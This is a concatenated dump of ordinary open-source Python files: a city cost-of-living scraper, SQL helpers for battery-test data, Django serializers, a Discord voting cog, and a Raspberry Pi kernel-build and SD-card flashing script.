cities:\n for year in range(2017, current_year + 1):\n for key in [*allkeys]:\n if to_save[country][city][str(year)][key] == None:\n to_save[country][city][str(year)][key] = rand_dists[country][allkeys[key]][random.randint(0, 14)]\n to_save[country][city][str(year)][key] = round(((to_save[country][city][str(year)][key] - means_general[allkeys[key]][0]) / st_devs_general[allkeys[key]][0]), 2)\n \n print(\"Data collection completed. Removed countries: \" + ', '.join(skipped))\n calc_response(to_save, countries, current_year)\n\n\ndef add_null_values(to_save, current_year):\n print(\"Processing data...\")\n allkeys = [\"cost_of_living_index\", \"rent_index\",\n \"groceries_index\", \"restaurant_price_index\", \"local_ppi_index\", \"crime_index\", \"safety_index\", \"qol_index\", \"ppi_index\", \"health_care_index\",\n \"traffic_commute_index\", \"pollution_index\", \"climate_index\", \"gross_rental_yield_centre\",\n \"gross_rental_yield_out\", \"price_to_rent_centre\", \"price_to_rent_out\", \"affordability_index\"]\n countries = [*to_save]\n for country in countries:\n cities = [*to_save[country]]\n for city in cities:\n for year in range(2017, current_year + 1):\n if str(year) not in to_save[country][city]:\n to_save[country][city][str(year)] = {}\n for key in allkeys:\n if key not in to_save[country][city][str(year)]:\n to_save[country][city][str(year)][key] = None\n generate_missing(to_save, current_year, countries)\n\n\ndef scrape():\n if datetime.now().month <= 2:\n current_year = datetime.now().year-1\n else:\n current_year = datetime.now().year\n\n to_save = {}\n cont = 0\n for link in to_scrape:\n print(\"Starting \" + link)\n for year in range(2017, current_year + 1):\n page = requests.get(getUrl(link, year))\n soup = BeautifulSoup(page.content, \"html.parser\")\n results = soup.find(id=\"t2\")\n rows = results.find_all(\"tr\")\n\n for entry in rows[1:]:\n datapoints = entry.find_all('td')\n\n city_data = entry.get_text().strip().splitlines()[1:]\n city = entry.get_text().strip().splitlines()[0].split(', ')\n if not(city[1] in to_save):\n to_save[city[1]] = {city[0]: {str(year): {}}}\n elif not(city[0] in to_save[city[1]]):\n to_save[city[1]][city[0]] = {str(year): {}}\n elif not(str(year) in to_save[city[1]][city[0]]):\n to_save[city[1]][city[0]][str(year)] = {}\n\n if cont == 0:\n db_keys = [\"cost_of_living_index\", \"rent_index\",\n \"groceries_index\", \"restaurant_price_index\", \"local_ppi_index\"]\n elif cont == 1:\n db_keys = [\"crime_index\", \"safety_index\"]\n elif cont == 2:\n db_keys = [\"qol_index\", \"ppi_index\", \"health_care_index\",\n \"traffic_commute_index\", \"pollution_index\", \"climate_index\"]\n else:\n db_keys = [\"gross_rental_yield_centre\", \"gross_rental_yield_out\",\n \"price_to_rent_centre\", \"price_to_rent_out\", \"affordability_index\"]\n\n for i in range(len(db_keys)):\n to_save[city[1]][city[0]][str(year)][db_keys[i]] = float(city_data[i])\n print(str(year) + \" done\")\n trusty_sleep(random.randint(2, 5))\n cont += 1\n print(link + \" done\")\n trusty_sleep(random.randint(2, 5))\n\n add_null_values(to_save, current_year)\n\nscrape()","repo_name":"valefras/BDT-2022","sub_path":"unused/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":9711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"22454923309","text":"import pypyodbc\nimport pandas\nimport numpy as np\nfrom typing import Tuple, List, Any\nimport logging\n\n\ndef db_connect(cfg: Any, db: str) -> Tuple[Any, Any]:\n \"\"\"\n Wrapper to connect to the databases\n \"\"\"\n connection = pypyodbc.connect(\n 'Driver={};'.format(cfg.driver) \\\n + 'Server={};Database={};uid={};pwd={}'.format(\n cfg.server, db, cfg.user, cfg.password))\n cursor = connection.cursor()\n return connection, cursor\n\n\ndef find_test_names(c: Any) -> List[str]:\n \"\"\"\n Get the names for all of the tests that have\n been run and return as list\n \"\"\"\n sql_cmd = \"\"\"SELECT test_name FROM TestList_Table;\"\"\"\n c.execute(sql_cmd)\n tempvals = c.fetchall()\n return list(set(map(lambda x: x[0], tempvals)))\n\n\ndef find_test_ids(c: Any, test_name: str) -> List[int]:\n \"\"\"\n Get the test ids for all of the test names and return as list\n \"\"\"\n sql_cmd = \"\"\"SELECT Test_ID\n FROM TestList_Table\n WHERE\n test_name = ?\n ORDER BY First_Start_DateTime;\"\"\"\n params =[test_name]\n c.execute(sql_cmd, params)\n temp = c.fetchall()\n return list(map(lambda x: int(x[0]), temp))\n\n\ndef find_channel_id(c: Any, test_id: int) -> List[int]:\n \"\"\"\n Get the channels that a test id was run on and return as list,\n some test ids will have multiple channels\n \"\"\"\n sql_cmd = \"SELECT Channel_ID FROM Resume_Table WHERE test_id = ?;\"\n params = [test_id]\n c.execute(sql_cmd, params)\n temp = c.fetchall()\n return list(map(lambda x: int(x[0]), temp))\n\n\ndef find_start_stop(cfg: Any, c: Any, test_id: int,\n chan_id: int) \\\n -> Tuple[List, List, List, List, List]:\n \"\"\"\n Find out when the test started and when it stopped, along\n with which databases the results are stored in. Due to lack of\n documentation and functional clarity we double check\n the last database to see if there is newer data (past the\n last end datetime) Note that the event time stamps from the\n result databases are 10000000 * epoch_time\n \"\"\"\n sql_cmd = \"\"\"SELECT IV_Ch_ID, First_Start_DateTime,\n Last_End_DateTime, Databases\n FROM TestIVChList_Table\n WHERE\n test_id = ? AND IV_Ch_ID = ?\n ORDER BY First_Start_DateTime, IV_Ch_ID;\"\"\"\n inserts = [test_id, chan_id]\n c.execute(sql_cmd, inserts)\n temp = c.fetchall()\n iv, starts, stops, databases = zip(*temp)\n list_iv, list_starts, list_stops, list_databases = list(iv), list(\n starts), list(stops), list(databases)\n\n min_db_num = min(list(int(db[12:]) for db in databases[0].split(',')[:-1])) # This is to get around a corrupted db\n if min_db_num >= cfg.MIN_DATABASE_NUMBER:\n sql_cmd = \"\"\"WITH\n lt AS (\n SELECT\n Test_ID,\n Channel_ID,\n MAX(Date_Time) AS Latest_Event_Time\n FROM\n dbo.Event_Table\n GROUP BY\n Test_ID,\n Channel_ID)\n \n SELECT\n lt.Test_ID,\n lt.Channel_ID,\n lt.Latest_Event_Time,\n et.Event_ID,\n et.Event_Type,\n et.Event_Desc\n FROM\n dbo.Event_Table et\n INNER JOIN lt\n ON et.Test_ID = lt.Test_ID\n AND et.Channel_ID = lt.Channel_ID\n WHERE\n et.Date_Time = lt.Latest_Event_Time\n AND et.Test_ID=?\n AND et.Channel_ID=?;\"\"\"\n inserts = [test_id, chan_id]\n temp2 = []\n db_result_last = -2\n while temp2 == []:\n try:\n connection, cur = db_connect(cfg, databases[0].split(',')[db_result_last])\n cur.execute(sql_cmd, inserts)\n temp2 = cur.fetchall()\n db_result_last = db_result_last -1\n except IndexError:\n logging.warning('Warning! Unable to find any events for test_id:' +\n str(test_id) + ' chan_id:' + str(chan_id))\n temp2 = [(test_id, chan_id, 0, 0, 'null', 'null')]\n break\n connection.close()\n test_id, chan_id, last_event, event_id, event_type, event_desc = zip(\n *temp2)\n list_last_event = list(last_event)\n else:\n list_last_event = [0]\n\n return list_iv, list_starts, list_stops, list_databases, list_last_event\n\n\ndef find_steps(connection: Any, channel_id: int, min_time: float,\n max_time: float) -> pandas.DataFrame:\n \"\"\"\n Get the time stamps for the steps and the cycle number\n \"\"\"\n sql_cmd = \"\"\"SELECT date_time, New_Step_ID, New_Cycle_ID\n FROM Event_Table\n WHERE\n (Channel_ID = ?\n AND date_time >= ?\n AND date_time < ?);\"\"\"\n params = [channel_id, min_time, max_time]\n step_frame = pandas.read_sql(\n sql_cmd, connection, params=params, index_col=['date_time'])\n logging.info('Done with step query')\n step_frame.columns = ['Step_Index', 'Cycle_Index']\n\n step_frame.drop_duplicates(inplace=True)\n assert isinstance(step_frame, pandas.DataFrame)\n return step_frame\n\n\ndef find_raw_data(connection: Any, channel_id: int, min_time: int,\n max_time: int) -> pandas.DataFrame:\n \"\"\"\n Get all of the channel information for a given time window and channel.\n This function does most of the heavy lifting to actually retrieve the data\n be cautious changing this function\n \"\"\"\n frames = []\n aliases = {\n 22: 'Current',\n 21: 'Voltage',\n 23: 'Charge_Capacity',\n 24: 'Discharge_Capacity',\n 25: 'Charge_Energy',\n 26: 'Discharge_Energy',\n 27: 'dV/dt',\n 30: 'Internal_Resistance'\n }\n sql_cmd = \"\"\"SELECT data_type, date_time, data_value\n FROM Channel_RawData_Table\n WHERE\n (channel_id = ?\n AND date_time >= ?\n AND date_time < ?);\"\"\"\n params = [channel_id, min_time, max_time]\n total_data = pandas.read_sql(sql_cmd, connection, params=params)\n logging.info('Done with raw query')\n if total_data.empty:\n return total_data\n data_groups = total_data.groupby(['data_type'])\n\n for key, name in aliases.items():\n if key in data_groups.groups.keys():\n df = data_groups.get_group(key).copy()\n else:\n blank_data = {\n 'data_type': pandas.Series(key, index=[0]),\n 'date_time': pandas.Series(min_time, index=[0]),\n 'data_value': pandas.Series(np.NaN, index=[0])\n }\n df = pandas.DataFrame(blank_data)\n df.drop('data_type', axis=1, inplace=True)\n df.sort_values(by=['date_time'], inplace=True)\n df.set_index(keys=['date_time'], drop=True, inplace=True)\n df.columns = [name]\n df = df[~df.index.duplicated(keep='first')]\n frames.append(df)\n joined_frame = pandas.concat(frames, axis=1, join='outer')\n return joined_frame\n\n\ndef find_auxiliary_data(connection: Any, channel_id: int, min_time: int,\n max_time: int) -> pandas.DataFrame:\n \"\"\"\n The auxiliary data lives in a different table. This function queries the\n data for a channel and returns a dataframe with the aux voltage and\n temperature as columns and date time as an index\n \"\"\"\n frames = []\n aliases = {0: 'Aux_Voltage', 1: 'Temperature'}\n sql_cmd = \"\"\"SELECT data_type, date_time, data_value\n FROM Auxiliary_Table\n WHERE\n (AuxCh_ID = ?\n AND date_time >= ?\n AND date_time < ?);\"\"\"\n params = [channel_id, min_time, max_time]\n total_data = pandas.read_sql(sql_cmd, connection, params=params)\n logging.info('Done with aux query')\n if total_data.empty:\n return total_data\n\n data_groups = total_data.groupby(['data_type'])\n\n for key, name in aliases.items():\n if key in data_groups.groups.keys():\n df = data_groups.get_group(key).copy()\n else:\n blank_data = {\n 'data_type': pandas.Series(key, index=[0]),\n 'date_time': pandas.Series(min_time, index=[0]),\n 'data_value': pandas.Series(np.NaN, index=[0])\n }\n df = pandas.DataFrame(blank_data)\n df.drop('data_type', axis=1, inplace=True)\n df.sort_values(by=['date_time'], inplace=True)\n df.set_index(keys=['date_time'], drop=True, inplace=True)\n df.columns = [name]\n df = df[~df.index.duplicated(keep='first')]\n frames.append(df)\n joined_frame = pandas.concat(frames, axis=1, join='outer')\n return joined_frame\n\n\ndef find_meta_data(connection: Any, test_id: int,\n iv_ch_id: int) -> pandas.DataFrame:\n \"\"\"\n The start time, stop time, databases used and schedule file name are\n stored here. This is regarded as the primary meta data for the test\n \"\"\"\n sql_cmd = \"\"\"SELECT *\n FROM TestIVChList_Table\n WHERE\n (test_id=? AND iv_ch_id=?);\"\"\"\n params = [test_id, iv_ch_id]\n total_data = pandas.read_sql(sql_cmd, connection, params=params)\n return total_data\n","repo_name":"TRI-AMDD/beep-integration-scripts","sub_path":"sql_functions.py","file_name":"sql_functions.py","file_ext":"py","file_size_in_byte":9592,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"5477606928","text":"from rest_framework import serializers\n\nfrom work.models import Work, WorkImage, WorkComment, WorkLike\n\n\nclass WorkImageSerializer(serializers.ModelSerializer):\n image = serializers.ImageField(use_url=True)\n\n class Meta:\n model = WorkImage\n fields = ['image']\n\n\nclass WorkCommentSerializer(serializers.ModelSerializer):\n class Meta:\n model = WorkComment\n fields = ['uuid',\n 'work',\n 'writer',\n 'comment',\n 'score',\n 'created_at',\n ]\n read_only_fields = [\n 'uuid',\n 'work',\n 'writer',\n 'created_at',\n 'updated_at',\n ]\n\n\nclass WorkLikeSerializer(serializers.ModelSerializer):\n class Meta:\n model = WorkLike\n fields = ['uuid', 'work', 'liker', 'created_at']\n read_only_fields = ['uuid', 'work', 'liker', 'created_at', 'updated_at']\n\n\nclass WorkSerializer(serializers.ModelSerializer):\n images = WorkImageSerializer(many=True, read_only=True)\n comments = serializers.SerializerMethodField()\n like_counts = serializers.SerializerMethodField()\n\n\n def get_images(self, obj):\n image = obj.image.all()\n return WorkImageSerializer(instance=image, many=True, context=self.context).data\n\n def get_comments(self, obj):\n comments = WorkComment.objects.filter(work=obj)\n comment_serializer = WorkCommentSerializer(comments, many=True)\n return comment_serializer.data\n\n def get_like_counts(self, obj):\n likes_count = WorkLike.objects.filter(work=obj).count()\n return likes_count\n\n class Meta:\n model = Work\n fields = ['uuid', 'portfolio', 'images', 'field', 'description', 'like_counts', 'comments', 'created_at']\n read_only_fields = ['uuid', 'portfolio', 'created_at', 'updated_at']\n\n def create(self, validated_data):\n instance = Work.objects.create(**validated_data)\n\n image_set = self.context['request'].FILES\n for image_data in image_set.getlist('image'):\n WorkImage.objects.create(work=instance, image=image_data)\n return instance\n\n def update(self, instance, validated_data):\n image_set = self.context['request'].FILES\n if 'image' in image_set:\n instance.image.all().delete()\n\n for image_data in image_set.getlist('image'):\n WorkImage.objects.create(work=instance, image=image_data)\n\n # update 오버라이딩했기 때문에 다른 필드들도 로직에 들어가야 함\n instance.field = validated_data.get('field', instance.field)\n instance.description = validated_data.get('description', instance.description)\n\n instance.save()\n return instance\n\n def to_representation(self, instance):\n representation = super().to_representation(instance)\n representation['images'] = WorkImageSerializer(instance.image.all(), many=True).data\n return representation","repo_name":"KimChanJin97/test","sub_path":"webapp/work/serializers/workSerializer.py","file_name":"workSerializer.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"43670124714","text":"from discord.ext import commands\n\nfrom utils.store import store\nfrom utils import db\n\nimport discord\nimport logging\nimport json\n\nimport numpy as np\n\nlogger = logging.getLogger(__name__)\n\nclass Votes(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.upvote_emote = ':this:877668616810692608'\n self.downvote_emote = ':that:877668628261126144'\n self.vote_channels = np.array(self.load_vote_channels())\n with open(store.settings_path, \"r\") as settings:\n self.settings = json.load(settings)\n\n def load_vote_channels(self) -> list:\n channel_array = []\n for entry in db.session.query(db.vote_channels).all():\n channel_array = np.append(channel_array, entry.channel_id)\n return channel_array\n\n @commands.Cog.listener()\n async def on_message(self, message):\n if message.channel.id in self.vote_channels and not message.author.bot:\n await message.add_reaction(f'<{self.upvote_emote}>')\n await message.add_reaction(f'<{self.downvote_emote}>')\n\n @commands.group()\n async def votes(self, ctx):\n if ctx.invoked_subcommand is None and await self.has_permissions(ctx):\n await ctx.message.delete()\n if ctx.channel.id in self.vote_channels:\n embed = discord.Embed(description=f'Votes are **ALREADY enabled** in {ctx.channel.mention}!', colour=0x23b40c)\n await ctx.send(embed=embed, delete_after=10)\n else:\n embed = discord.Embed(description=f'Votes are **NOT enabled** in {ctx.channel.mention}!', colour=0xf66045)\n await ctx.send(embed=embed, delete_after=10)\n\n @votes.command()\n async def setup(self, ctx, channel: discord.TextChannel = None):\n if not await self.has_permissions(ctx):\n return\n await ctx.message.delete()\n channel = ctx.channel if channel is None else channel\n if channel.id not in self.vote_channels:\n self.vote_channels = np.append(self.vote_channels, channel.id)\n if db.session.query(db.vote_channels).filter_by(server_id=ctx.guild.id).filter_by(channel_id=channel.id).first() is None:\n db.session.add(db.vote_channels(ctx.guild.id, channel.id))\n db.session.commit()\n else:\n embed = discord.Embed(\n description=f'Votes are **already active** in {ctx.channel.mention}!',\n colour=0x23b40c\n )\n await ctx.send(embed=embed, delete_after=20)\n return\n embed = discord.Embed(\n description=f'Votes **enabled** in {channel.mention}!',\n colour=0x23b40c\n )\n await ctx.send(embed=embed)\n\n @votes.command()\n async def stop(self, ctx, channel: discord.TextChannel = None):\n if not await self.has_permissions(ctx):\n return\n channel = ctx.channel if channel is None else channel\n db.session.query(db.vote_channels).filter_by(server_id=ctx.guild.id).filter_by(channel_id=channel.id).delete()\n db.session.commit()\n if channel.id in self.vote_channels:\n index = np.argwhere(self.vote_channels==channel.id)\n self.vote_channels = np.delete(self.vote_channels, index)\n await ctx.message.delete()\n await ctx.channel.send(embed=discord.Embed(description=f'Votes has been stopped in {channel.mention}!', colour=0xf66045))\n\n async def has_permissions(self, ctx):\n if not ctx.channel.permissions_for(ctx.author).manage_channels and not await self.bot.is_owner(ctx.author):\n await ctx.send(\"You don't have permissions to do that\", delete_after=10)\n return False\n return True\n\ndef setup(bot):\n bot.add_cog(Votes(bot))","repo_name":"jackra1n/substiify","sub_path":"modules/votes.py","file_name":"votes.py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"30760325299","text":"import sys\nimport os\nimport time\nimport os.path\nimport getpass\nimport inspect\nimport subprocess\n\nsys.path.insert(0, '..')\nimport smit.utils\n\n\nclass DeployPi(object):\n \"\"\"For kernel configuration and installation.\n \"\"\"\n utl = smit.utils.Utils()\n package_path = ''\n CONFIG_FILE = '/boot/config.txt'\n LOWPAN_FILE = '/etc/default/lowpan'\n config = {'BP': '', 'RP': '', 'LD': '', 'LH': '', 'LINUX': '', 'KREPO': '',\n 'KBRANCH': '', 'CHECKOUT': '', 'FD': '', 'FH': '', 'FIRMWARE': '',\n 'FREPO': '', 'FBRANCH': '', 'TD': '', 'TH': '', 'TOOLS': '',\n 'TREPO': '', 'PIDIR': '', 'DOWNDIR': '', 'MAC': '', 'CHN': '',\n 'PAN': '', 'IP6': '', 'dtoverlay': '', 'OSDIR': '', 'RASPBIAN': '', 'OD': '', 'IMG': ''}\n\n def __init__(self):\n \"\"\"Constructor initializes variables\n \"\"\"\n self.package_path = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\n\n def __del__(self):\n \"\"\"Destructor to clean the object and delete\n \"\"\"\n\n def get_mount_path(self, dev, mnt_path):\n \"\"\"\n Set the current mount path. This is an interactive function to set the current mount path for specific device.\n\n :param dev: device name.\n :param mnt_path: default mount path\n :type dev: str.\n :type mnt_path: str.\n\n Returns:\n str. -- current mount path.\n\n Note::\n\n The device should be checked before calling this function.\n \"\"\"\n default_path = mnt_path\n while True:\n c_in = raw_input('Set the mount path of ' + dev + ' to: ' + default_path + '? [Y/N]: ')\n if c_in != 'Y' and c_in != 'y':\n mnt_path = raw_input('Enter the mount path: ')\n if not os.path.exists(mnt_path) and mnt_path != default_path:\n print('Invalid path.')\n else:\n mnt_path = os.path.normpath(mnt_path)\n break\n else:\n break\n\n return mnt_path\n\n def gen_mount(self, dev, mnt_path):\n \"\"\"Check and Return mount device information: device name, device path and mount path.\n\n :param dev: device name\n :param mnt_path: the mount path\n :type mnt_path: str.\n :type dev: str.\n\n Returns:\n dict. -- The dictionary contains::\n\n DevName - device name.\n DevPath - device path.\n MountPath - mount path.\n \"\"\"\n dev_info = {}\n dev_path = \"/dev/\" + dev\n if self.utl.check_device_exist(dev_path):\n if mnt_path != '':\n self.utl.call('sudo mkdir -p ' + mnt_path, shell=True)\n dev_info.update({'DevName': dev})\n dev_info.update({'MountPath': mnt_path})\n dev_info.update({'DevPath': dev_path})\n else:\n dev_info = {}\n\n return dev_info\n\n def install_dependency(self):\n \"\"\"Install dependencies.\n \"\"\"\n self.utl.call('sudo apt-get update', shell=True)\n self.utl.call('sudo apt-get -y --force-yes install curl unzip', shell=True)\n self.utl.call('sudo apt-get -y --force-yes install gcc-arm-linux-gnueabihf libncurses5-dev git', shell=True)\n\n def copy_to_pi(self, dev_path, filename, dest_path='/opt/src'):\n \"\"\"Copy a file or directory to Pi.\n\n :param dev_path: the mounted device path\n :param filename: file or directory path\n :param dest_path: destination path of file\n :type dev_path: str.\n :type filename: str.\n :type dest_path: str.\n\n Returns:\n int. -- The return code::\n\n 1 -- succeed.\n -1 -- source file does not exist.\n -2 -- device does not exist.\n \"\"\"\n filename = os.path.normpath(filename)\n\n if not os.path.exists(filename):\n print('File: ' + filename + ' does not exist.')\n return -1\n\n if not os.path.exists(dev_path):\n print('Device: ' + dev_path + ' does not exist.')\n return -2\n\n path = os.path.normpath(dev_path + '/' + dest_path)\n self.utl.call('sudo mkdir -p ' + path, shell=True)\n self.utl.call('sudo cp -rf ' + filename + ' ' + path, shell=True)\n\n return 1\n\n def compile_kernel(self, boot_path, root_path, config):\n \"\"\"Compile kernel for Raspberry Pi\n\n :param boot_path: mounted boot path\n :param root_path: mounted root path\n :param config: configuration for compiling a kernel\n :type boot_path: str.\n :type boot_path: str.\n :type config: dict.\n \"\"\"\n linux = 'git clone '\n firmware = 'git clone '\n tools = 'git clone '\n\n username = getpass.getuser()\n self.utl.call('sudo mkdir -p ' + config.get('DOWNDIR', ''), shell=True)\n self.utl.call('sudo chown ' + username + ' ' + config.get('DOWNDIR', ''), shell=True)\n os.chdir(config.get('DOWNDIR', ''))\n # generate commands to download source code\n if (config.get('LD', '') == 'Y' or config.get('LD', '') == 'y') and config.get('KREPO', '') != '':\n if config.get('LH', '') == 'Y' or config.get('LH', '') == 'y':\n linux += '--depth 1 '\n if config.get('KBRANCH', '') != '':\n linux = linux + config['KREPO'] + ' --branch ' + config['KBRANCH'] + ' --single-branch ' + config.get(\n 'LINUX', '')\n else:\n linux = linux + config['KREPO'] + ' ' + config.get('LINUX', '')\n else:\n linux = ''\n if (config.get('FD', '') == 'Y' or config.get('FD', '') == 'y') and config.get('FREPO', '') != '':\n if config.get('FH', '') == 'Y' or config.get('FH', '') == 'y':\n firmware += '--depth 1 '\n if config.get('FBRANCH', '') != '':\n firmware = firmware + config['FREPO'] + ' --branch ' + config[\n 'FBRANCH'] + ' --single-branch ' + config.get('FIRMWARE', '')\n else:\n firmware = firmware + config['FREPO'] + ' ' + config.get('FIRMWARE', '')\n else:\n firmware = ''\n if (config.get('TD', '') == 'Y' or config.get('TD', '') == 'y') and config.get('TREPO', '') != '':\n if config.get('TH', '') == 'Y' or config.get('TH', '') == 'y':\n tools = tools + '--depth 1 ' + config['TREPO'] + ' ' + config.get('TOOLS', '')\n else:\n tools = tools + config['TREPO'] + ' ' + config.get('TOOLS', '')\n else:\n tools = ''\n\n self.utl.call(linux, shell=True)\n self.utl.call(firmware, shell=True)\n self.utl.call(tools, shell=True)\n\n os.chdir(config.get('LINUX', ''))\n if config.get('CHECKOUT', '') != '':\n self.utl.call('sudo git checkout ' + config['CHECKOUT'], shell=True)\n self.utl.call('sudo cp -f ' + self.package_path + '/config_kernel ' + config.get('LINUX', '') + '/.config',\n shell=True)\n self.utl.call('CROSS_COMPILE=arm-linux-gnueabihf- ARCH=arm make olddefconfig zImage modules dtbs -j4',\n shell=True)\n\n self.utl.call('sudo cp arch/arm/boot/dts/*.dtb ' + boot_path, shell=True)\n self.utl.call('sudo mkdir -p ' + boot_path + '/overlays', shell=True)\n self.utl.call('sudo cp arch/arm/boot/dts/overlays/*.dtb* ' + boot_path + '/overlays', shell=True)\n self.utl.call('sudo scripts/mkknlimg arch/arm/boot/zImage ' + boot_path + '/kernel7.img', shell=True)\n self.utl.call(\n 'sudo CROSS_COMPILE=arm-linux-gnueabihf- ARCH=arm INSTALL_MOD_PATH=' + root_path + ' make modules_install',\n shell=True)\n os.chdir(config.get('FIRMWARE', ''))\n self.utl.call('sudo rm -rf ' + root_path + '/opt/vc', shell=True)\n self.utl.call('sudo cp -r hardfp/opt/* ' + root_path + '/opt', shell=True)\n\n os.chdir(self.package_path)\n\n def mount(self, dev_path, mnt_path):\n \"\"\"Mount a device.\n\n :param dev_path: device path\n :param mnt_path: mount path\n :type dev_path: str.\n :type mnt_path: str.\n \"\"\"\n if os.path.exists(dev_path) and mnt_path != '':\n self.utl.call('sudo mkdir -p ' + mnt_path, shell=True)\n self.utl.call('sudo mount ' + dev_path + ' ' + mnt_path, shell=True)\n else:\n print('ERROR: Device information is invalid.')\n\n def umount(self, mnt_path):\n \"\"\"Unmount boot and root devices\n\n :param mnt_path: mount path\n :type mnt_path: str.\n \"\"\"\n if os.path.exists(mnt_path):\n self.utl.call('sudo umount ' + mnt_path, shell=True)\n else:\n print(\"ERROR: mount path does not exist.\")\n\n def initialize_pi(self):\n \"\"\"Install iwpan and enable radio on Raspberry Pi.\n \"\"\"\n self.config = self.utl.read_config('config', self.config)\n install_path_on_pi = self.config.get('PIDIR', '')\n self.utl.call('mkdir -p ' + install_path_on_pi, shell=True)\n if not os.path.exists(install_path_on_pi):\n print('ERROR: installation path (on Raspberry Pi): \\\"' + install_path_on_pi + '\\\"does not exitst.')\n exit(1)\n username = getpass.getuser()\n # install iwpan\n self.utl.call('sudo apt-get update', shell=True)\n self.utl.call('sudo apt-get -y --force-yes install dh-autoreconf libnl-3-dev libnl-genl-3-dev git', shell=True)\n self.utl.call('sudo mkdir -p ' + install_path_on_pi, shell=True)\n os.chdir(install_path_on_pi)\n self.utl.call('sudo rm -rf wpan-tools/', shell=True)\n self.utl.call('sudo rm -rf wpan-raspbian/', shell=True)\n self.utl.call('sudo git clone https://github.com/linux-wpan/wpan-tools', shell=True)\n os.chdir('wpan-tools')\n self.utl.call('sudo ./autogen.sh', shell=True)\n self.utl.call('./configure CFLAGS=\\'-g -O0\\' --prefix=/usr --sysconfdir=/etc --libdir=/usr/lib', shell=True)\n self.utl.call('make', shell=True)\n self.utl.call('sudo make install', shell=True)\n # enable radio\n self.utl.call('sudo chown ' + username + ' /opt/src', shell=True)\n os.chdir(install_path_on_pi)\n self.utl.call('sudo git clone https://github.com/riot-makers/wpan-raspbian', shell=True)\n os.chdir('wpan-raspbian')\n self.utl.call('sudo cp -r usr/local/sbin/* /usr/local/sbin/', shell=True)\n self.utl.call('sudo chmod +x /usr/local/sbin/*', shell=True)\n self.utl.call('sudo cp etc/systemd/system/lowpan.service /etc/systemd/system/.', shell=True)\n self.utl.call('sudo systemctl daemon-reload', shell=True)\n self.utl.call('sudo systemctl enable lowpan.service', shell=True)\n self.utl.call('sudo systemctl start lowpan.service', shell=True)\n self.utl.call('sudo ldconfig -v > /dev/null', shell=True)\n # install ndisc6\n self.utl.call('sudo apt-get -y --force-yes install ndisc6', shell=True)\n\n os.chdir(self.package_path)\n\n def setup_pi(self, args):\n \"\"\"Configure the kernel to setup a Raspberry Pi.\n\n :param args: command line arguments\n \"\"\"\n\n self.config = self.utl.read_config('config', self.config)\n\n print('=== Install dependencies ===')\n self.install_dependency()\n\n if args.force is not None: # Download the latest raspbian os\n if not self.utl.check_device_exist('/dev/' + args.force[0]):\n print('ERROR: invalid argument: ' + args.force[0])\n exit(1)\n os_path = self.config.get('OSDIR', '')\n if os_path != '':\n self.utl.call('mkdir -p ' + os_path, shell=True)\n if self.config.get('OD', '') == 'Y' or self.config.get('OD', '') == 'y':\n if os.listdir(os_path):\n print('ERROR: the directory \\\"' + os_path + '\\\" is not empty.')\n exit(1)\n if self.config.get('RASPBIAN', '') != '':\n os.chdir(os_path)\n self.utl.call('curl -L -o os.zip ' + self.config['RASPBIAN'], shell=True)\n self.utl.call('unzip os.zip', shell=True)\n self.utl.call('mv *.img ' + self.config.get('IMG', 'os.img'), shell=True)\n else:\n os.chdir(os_path)\n else:\n print('ERROR: invalid configuration.')\n exit(1)\n\n device = args.force[0]\n if device.startswith('sd'):\n boot_part = '1'\n root_part = '2'\n else: # device starts with('mmc'):\n boot_part = 'p1'\n root_part = 'p2'\n self.utl.call('sudo umount -a /dev/' + args.force[0] + ' >> /dev/null 2>&1', shell=True)\n self.utl.call('sudo parted -s /dev/' + args.force[0] + ' mktable msdos', shell=True)\n self.utl.call('sudo parted -s /dev/' + args.force[0] + ' mkpart primary fat16 1 5%', shell=True)\n self.utl.call('sudo wipefs -a /dev/' + args.force[0] + boot_part, shell=True)\n self.utl.call('sudo mkfs.vfat /dev/' + args.force[0] + boot_part, shell=True)\n print('Copying Raspbian OS ...')\n self.utl.call('sudo dd bs=4M if=' + self.config.get('IMG', 'os.img') + ' of=/dev/' + args.force[0],\n shell=True)\n self.utl.call('sudo partprobe /dev/' + args.force[0], shell=True)\n time.sleep(5)\n args.boot = ['']\n args.root = ['']\n args.boot[0] = args.force[0] + boot_part\n args.root[0] = args.force[0] + root_part\n os.chdir(self.package_path)\n\n if args.checkout is not None:\n self.config['CHECKOUT'] = ''\n for index in range(len(args.checkout)):\n self.config['CHECKOUT'] = self.config['CHECKOUT'] + args.checkout[index] + ' '\n\n dev_boot = self.gen_mount(args.boot[0], self.config.get('BP', ''))\n dev_root = self.gen_mount(args.root[0], self.config.get('RP', ''))\n if dev_root == {}:\n print('ERROR: invalid root arguments.')\n exit(1)\n if dev_boot == {}:\n print('ERROR: invalid root arguments.')\n exit(1)\n\n if self.utl.get_dev_format(dev_root['DevPath']) != 'ext4':\n print('ERROR: the format of \\'root\\' partition on the SD card must be \\'ext4\\'.')\n exit(1)\n if not os.path.exists(dev_boot['MountPath']) or not os.path.exists(dev_root['MountPath']):\n print('ERROR: invalid path.')\n exit(1)\n elif dev_boot['MountPath'] == dev_root['MountPath']:\n print('ERROR: ' + dev_boot['DevName'] + ' and ' + dev_root['DevName'] + ' are mounting to the same path.')\n exit(1)\n else:\n dev_boot['MountPath'] = os.path.normpath(dev_boot['MountPath'])\n dev_root['MountPath'] = os.path.normpath(dev_root['MountPath'])\n\n print('=== Mount devices ===')\n self.mount(dev_boot['DevPath'], dev_boot['MountPath'])\n self.mount(dev_root['DevPath'], dev_root['MountPath'])\n print('=== Compile kernel ===')\n\n self.compile_kernel(dev_boot.get('MountPath', ''), dev_root.get('MountPath', ''), self.config)\n if os.path.exists(self.config.get('PIDIR', '')):\n self.copy_to_pi(dev_root['MountPath'], '../../../CSIRO', self.config.get('PIDIR', ''))\n else:\n print('Installation path: \\\"' + self.config.get('PIDIR', '') + '\\\"does not exitst.')\n\n print('=== Unmount devices ===')\n self.umount(dev_boot['MountPath'])\n 